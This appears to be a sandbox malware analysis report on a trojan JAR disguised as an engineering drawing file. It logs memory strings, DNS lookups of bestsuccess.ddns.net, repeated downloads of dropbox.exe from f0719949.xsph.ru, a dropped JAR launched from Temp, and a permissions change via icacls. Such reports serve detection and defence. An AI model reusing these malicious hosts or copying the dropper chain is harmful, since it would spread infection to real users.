Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crlC
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0719949.xsph.ru
Source: javaw.exe, 00000008.00000002.574250452.0000000004732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f0719949.xsph.ru/dropbox.exe
Source: java.exe, 00000004.00000002.309464085.00000000099A0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306466977.0000000004464000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.581281577.000000000A38A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.581338803.0000000009F8A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.oracle.com/
Source: java.exe, 00000004.00000002.309717316.0000000009A48000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.313270467.0000000014A0D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.599760962.0000000015039000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000003.317747599.000000001502A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.584855664.000000000A5B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343309585.0000000014CD2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343460899.0000000014CD9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.585176988.000000000A1B5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.342983483.0000000014CA1000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.598343339.0000000014CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://null.oracle.com/
Source: javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://null.oracle.com/k
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573927118.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573079200.000000000464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.com;mU
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.comK
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.comP
Source: javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.comR
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.comSR
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://policy.camerfirma.coms
Source: javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/#
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573636221.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/3
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/31
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/;/
Source: javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/h
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
Source: javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crlC
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl3
Source: javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl;
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crlC
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crlH
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crlc
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crlk
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl;
Source: java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crlc
Source: java.exe, 00000004.00000002.310175474.0000000009B37000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573967850.0000000004AB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm#
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm8
Source: javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bmC
Source: javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bmP
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bmc
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bmcL
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps#N
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: javaw.exe, 00000007.00000002.574586002.0000000004B29000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000003.317832943.00000000158F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343297388.000000001565A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.342490426.0000000015632000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343454812.0000000015671000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.574202664.0000000004729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://index.from.sh/pages/game.html
Source: javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com
Source: java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com3

Source: unknown

DNS traffic detected: queries for: bestsuccess.ddns.net

Source: global traffic	HTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2Connection: keep-alive

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_02446600	4_2_02446600
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_023E1BD8	4_2_023E1BD8
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_023F5C10	4_2_023F5C10
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 7_3_14F2AF89	7_3_14F2AF89

Source: DWG Material, Standard BS 4360 GR. 40A43A.jar	ReversingLabs: Detection: 35%
Source: DWG Material, Standard BS 4360 GR. 40A43A.jar	Virustotal: Detection: 25%

Source: C:\Windows\System32\7za.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de >> C:\cmdlinestart.log 2>&1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Source: unknown	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5164:120:WilError_01

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File created: C:\Users\user\AppData\Local\Temp\hsperfdata_user

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Section loaded: C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\jvm.dll

Jump to behavior

Source: javaw.exe	String found in binary or memory: +xsun/launcher/LauncherHelper$StdArg
Source: javaw.exe	String found in binary or memory: 9Extension-Installation
Source: javaw.exe	String found in binary or memory: sun/launcher/LauncherHelper$ResourceBundleHolder&
Source: javaw.exe	String found in binary or memory: !sun/launcher/LauncherHelper$SizePrefix
Source: javaw.exe	String found in binary or memory: 7Ljava/lang/Enum<Lsun/launcher/LauncherHelper;>;
Source: javaw.exe	String found in binary or memory: Cuj()[Lsun/launcher/LauncherHelper;'
Source: javaw.exe	String found in binary or memory: Africa/Addis_Ababa
Source: javaw.exe	String found in binary or memory: gsun/misc/Launcher$BootClassPathHolder$1lC
Source: javaw.exe	String found in binary or memory: t-addHours

Source: classification engine

Classification label: mal72.troj.expl.winJAR@14/8@6/3

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233BB27 push 00000000h; mov dword ptr [esp], esp	4_2_0233BB4D
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233B377 push 00000000h; mov dword ptr [esp], esp	4_2_0233B39D
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233B907 push 00000000h; mov dword ptr [esp], esp	4_2_0233B92D
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233A1DB push ecx; ret	4_2_0233A1E5
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233A1CA push ecx; ret	4_2_0233A1DA
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_0233C437 push 00000000h; mov dword ptr [esp], esp	4_2_0233C45D
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_02342D44 push eax; retf	4_2_02342D45
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_023DDBE1 push ecx; retn 0022h	4_2_023DDC96
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_023D793B push es; retn 0001h	4_2_023D7A3F
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Code function: 4_2_023DD927 push es; iretd	4_2_023DD92E
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F6A4 push edx; retf	8_3_14B4F6B2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F2A3 push edx; retf	8_3_14B4F32A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F7A9 push edx; retf	8_3_14B4F7AA
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B502A8 push edx; retf	8_3_14B502C2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B501AA push edx; retf	8_3_14B501D2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4FF96 push edx; retf	8_3_14B4FFD2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B50887 push edx; retf	8_3_14B508CA
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4FB80 push edx; retf	8_3_14B4FB9A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4FAE1 push edx; retf	8_3_14B4FAE2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F7E3 push edx; retf	8_3_14B4F8DA
